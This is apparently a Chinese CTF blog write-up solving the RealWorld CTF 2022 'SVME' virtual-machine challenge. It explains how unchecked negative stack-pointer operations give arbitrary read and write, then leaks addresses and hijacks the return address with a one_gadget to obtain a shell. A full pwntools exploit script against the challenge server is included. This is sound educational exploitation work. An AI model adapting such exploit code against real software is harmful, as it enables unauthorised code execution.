71's blog

宏願縱未了 奮鬥總不太晚

0%

rwctf2022 | SVME

开源vm+任意地址读写

SVME

程序保护全开,一次性读入code,创建了vm虚拟机后,只执行一次就free完退出了。在exec功能中可以看到程序还有打印内存、栈地址这些函数,可以利用来泄露地址。

exec部分使用 jmp rax 实现分支,但是ida没有解析得很好。在 Dockerfile 中找到了原项目的地址:parrt/simple-virtual-machine-C,从源码可以找到指令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
typedef enum {
NOOP = 0,
IADD = 1, // int add
ISUB = 2,
IMUL = 3,
ILT = 4, // int less than
IEQ = 5, // int equal
BR = 6, // branch
BRT = 7, // branch if true
BRF = 8, // branch if false
ICONST = 9, // push constant integer
LOAD = 10, // load from local context
GLOAD = 11, // load from global memory
STORE = 12, // store in local context
GSTORE = 13, // store in global memory
PRINT = 14, // print stack top
POP = 15, // throw away top of stack
CALL = 16, // call function at address with nargs,nlocals
RET = 17, // return value from function
HALT = 18
} VM_CODE;

该项目的结构体定义和函数功能整理如下。本题程序调用exec时,trace设置为1,因此会打印出相关的信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#define DEFAULT_STACK_SIZE      1000
#define DEFAULT_CALL_STACK_SIZE 100
#define DEFAULT_NUM_LOCALS 10

typedef struct {
int returnip;
int locals[DEFAULT_NUM_LOCALS];
} Context;

typedef struct {
int *code;
int code_size;

// global variable space
int *globals;
int nglobals;

// Operand stack, grows upwards
int stack[DEFAULT_STACK_SIZE];
Context call_stack[DEFAULT_CALL_STACK_SIZE];
} VM;//在vm_create中使用calloc分配空间

VM *vm_create(int *code, int code_size, int nglobals);
/* 调用vm_init(vm, code, code_size, nglobals);
vm->code = code;
vm->code_size = code_size;
vm->globals = calloc(nglobals, sizeof(int));
vm->nglobals = nglobals;
*/

void vm_free(VM *vm);//结束程序时使用,有uaf但是用不上:free(vm->globals); free(vm);

void vm_exec(VM *vm, int startip, bool trace);
/* 用switch-case执行vm->code,直到执行完或遇到HALT(18)为止。
trace==true时,会打印vm信息(应该是用于调试)。
1.每次switch前调用vm_print_instr(int *code, int ip),打印待执行指令信息(操作码+参数)
2.退出循环后调用vm_print_stack(int *stack, int count),打印结束时的vm->stack的数据
3.最终调用vm_print_data(int *globals, int count),打印结束时的vm->globals(全局数据)
*/

static void vm_context_init(Context *ctx, int ip, int nlocals);
/* 检查参数个数nlocals是否大于DEFAULT_NUM_LOCALS(10),设置ctx->returnip = ip;
*/

我们可以用源码test.c中的hello来测试一下。要注意指令长度以一个int为单位(4字节)。同时本题要读齐512字节才会执行exec,因此这里以noop指令补全。

1
2
3
code=p32(ICONST)+p32(1234)+p32(PRINT)+p32(HALT)
code=code.ljust(512, b"\x00")
p.send(code)

输出如下:

1
2
3
4
0000:  iconst    1234      stack=[ 1234 ]
0002: print 1234
stack=[ ]
Data memory:

注意程序只能输入一次,不能通过接收print出来的地址计算libc地址再传回去覆盖。但是vm提供了对stack、context、globals操作的指令(pop、load、store等),可以说是任意地址读写了。还有call、ret指令,可以实现任意地址执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
case POP: 
--sp; // 可变为负数
break;

case LOAD: // load local or arg from local context
offset = vm->code[ip++];
vm->stack[++sp] = vm->call_stack[callsp].locals[offset];
break;

case GLOAD: // load from global memory
addr = vm->code[ip++];
vm->stack[++sp] = vm->globals[addr];
break;

case STORE: // store in local context
offset = vm->code[ip++];
vm->call_stack[callsp].locals[offset] = vm->stack[sp--];
break;

case GSTORE: // store in global memory
addr = vm->code[ip++];
vm->globals[addr] = vm->stack[sp--];
break;

case CALL: // call function at address with nargs,nlocals
// expects all args on stack
addr = vm->code[ip++]; // index of target function
int nargs = vm->code[ip++]; // how many args got pushed
int nlocals = vm->code[ip++]; // how many locals to allocate
++callsp; // bump stack pointer to reveal space for this call
vm_context_init(&vm->call_stack[callsp], ip, nargs+nlocals);
// copy args into new context
for (int i=0; i<nargs; i++) {
vm->call_stack[callsp].locals[i] = vm->stack[sp-i];// 将存在栈上的参数存入locals
}
sp -= nargs;
ip = addr; // jump to function
break;

case RET:
ip = vm->call_stack[callsp].returnip;
callsp--; // pop context
break;

因此不需要泄露地址,我们也可以通过对内存中的地址的计算,算出system的地址然后跳转执行。从这个角度看,题目的考点应该就是构造rop链,vm提供的指令足够齐全。

前面提到sp可为负数,vm的所有指令都没有对sp的合法性进行检查,因此这里可以越界读写数据。从结构体VM的定义来看,stack[0]也在heap里,在开始时可以通过pop和store指令获得stack前面的code栈地址、globals堆地址,可存到locals或globals上,这里用 GSTORE 。由于程序申请的globals数组较小,用起来不够方便,可以转用STORE存到locals上。

1
2
3
4
5
6
7
8
9
pwndbg> x/8gx 0x55cacccb0290  vm heap chunk
0x55cacccb0290: 0x0000000000000000 0x0000000000002101
0x55cacccb02a0: 0x00007fff892a8490 0x0000000000000080
0x55cacccb02b0: 0x000055cacccb23a0 0x0000000000000000
0x55cacccb02c0: 0x0000000000000000 0x0000000000000000
pwndbg> x/8gx 0x55cacccb2390 globals heap chunk
0x55cacccb2390: 0x0000000000000000 0x0000000000000021
0x55cacccb23a0: 0x000055cacccb23a0 0x0000000000000080
0x55cacccb23b0: 0x00007fff892a8490 0x0000000000000411

根据泄露的栈地址和栈空间,我们可以根据offset算出ret地址的位置,然后越界修改global数据的地址为这个stack地址,通过GLOAD获得程序地址。

获得程序地址后,也可以通过IADD计算出got表的地址。再通过同样的修改globals地址的方式,可以用GLOAD获得libc地址。同理,再在原ret的位置修改返回地址,完成程序执行流的劫持。

ret前r15和rdx都是0,因此这里可以用 one_gadget。

参考:

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
#coding=utf-8
from pwn import*
context(arch='amd64',binary = "./svme")
# p=process('./svme')
p=remote("47.243.140.252", 1337)
libc=ELF("./libc-2.31.so")
elf=ELF('./svme')


ru = lambda s: p.recvuntil(s)
rv = lambda s: p.recv(s)
rl = lambda : p.recvline()
sla = lambda x,y : p.sendlineafter(x,y)
sl = lambda s: p.sendline(s)
sd = lambda s: p.send(s)
it = lambda : p.interactive()

NOOP = 0
IADD = 1# int add
ISUB = 2# int sub
IMUL = 3# int mul
ILT = 4# int less than
IEQ = 5# int equal
BR = 6# branch
BRT = 7# branch if true
BRF = 8# branch if true
ICONST = 9# push constant integer
LOAD = 10# load from local context
GLOAD = 11# load from global memory
STORE = 12# store in local context
GSTORE = 13# store in global memory
PRINT = 14# print stack top
POP = 15# throw away top of stack
CALL = 16# call function at address with nargs,nlocals
RET = 17# return value from function
HALT = 18

globals_low=1
globals_high=2
code_len_low=3
code_len_high=4
code_addr_low=5
code_addr_high=6
ret_addr_low=7
read_addr_low=8
elf_addr_high=9
og_low=10
og_high=11

read_got=elf.got['read']
read_addr=libc.symbols['read']
one_gadget=[0xe6c7e,0xe6c81,0xe6c84]
main_ret=0x1d5d # (main+226) ◂— mov rax, qword ptr [rbp - 0x218]

code=p32(POP)
code+=p32(STORE)+p32(globals_high)
code+=p32(STORE)+p32(globals_low)
code+=p32(STORE)+p32(code_len_high)
code+=p32(STORE)+p32(code_len_low)
code+=p32(STORE)+p32(code_addr_high)
code+=p32(STORE)+p32(code_addr_low)

code+=p32(LOAD)+p32(code_addr_low)
code+=p32(LOAD)+p32(code_addr_high)
code+=p32(LOAD)+p32(code_len_low)
code+=p32(LOAD)+p32(code_len_high)
code+=p32(LOAD)+p32(globals_low)
code+=p32(LOAD)+p32(globals_high)


#count ret_addr in stack
code+=p32(LOAD)+p32(code_addr_low)
code+=p32(ICONST)+p32(0x28)
code+=p32(ISUB)
code+=p32(STORE)+p32(ret_addr_low)#ret_addr_low

#change global addr to ret_addr in stack
code+=p32(POP)*2
code+=p32(LOAD)+p32(ret_addr_low)
code+=p32(LOAD)+p32(code_addr_high)

#count read_got_addr
code+=p32(GLOAD)+p32(0)#ret_addr_low
code+=p32(ICONST)+p32(read_got-main_ret)
code+=p32(IADD)
code+=p32(STORE)+p32(read_addr_low)

#get elf_addr
code+=p32(GLOAD)+p32(1)
code+=p32(STORE)+p32(elf_addr_high)

#change global addr to read_got in elf
code+=p32(POP)*2
code+=p32(LOAD)+p32(read_addr_low)
code+=p32(LOAD)+p32(elf_addr_high)

#count one_gadget_addr
code+=p32(GLOAD)+p32(0)#sys_low
code+=p32(ICONST)+p32(read_addr-one_gadget[1])
code+=p32(ISUB)
code+=p32(STORE)+p32(og_low)
code+=p32(GLOAD)+p32(1)
code+=p32(STORE)+p32(og_high)


#change global addr to ret_addr in stack
code+=p32(POP)*2
code+=p32(LOAD)+p32(ret_addr_low)
code+=p32(LOAD)+p32(code_addr_high)

#ret -> pop rdi -> "sh\x00\x00" -> system
code+=p32(LOAD)+p32(og_low)
code+=p32(LOAD)+p32(og_high)#pop rdi ; ret
code+=p32(GSTORE)+p32(1)
code+=p32(GSTORE)+p32(0)

#clear vm->nglobals
code+=p32(ICONST)+p32(0)


code+=p32(HALT)
# gdb.attach(p, "b *$rebase(0x0000000000001D5D)")

code=code.ljust(512, b"\x00")
sd(code)
it()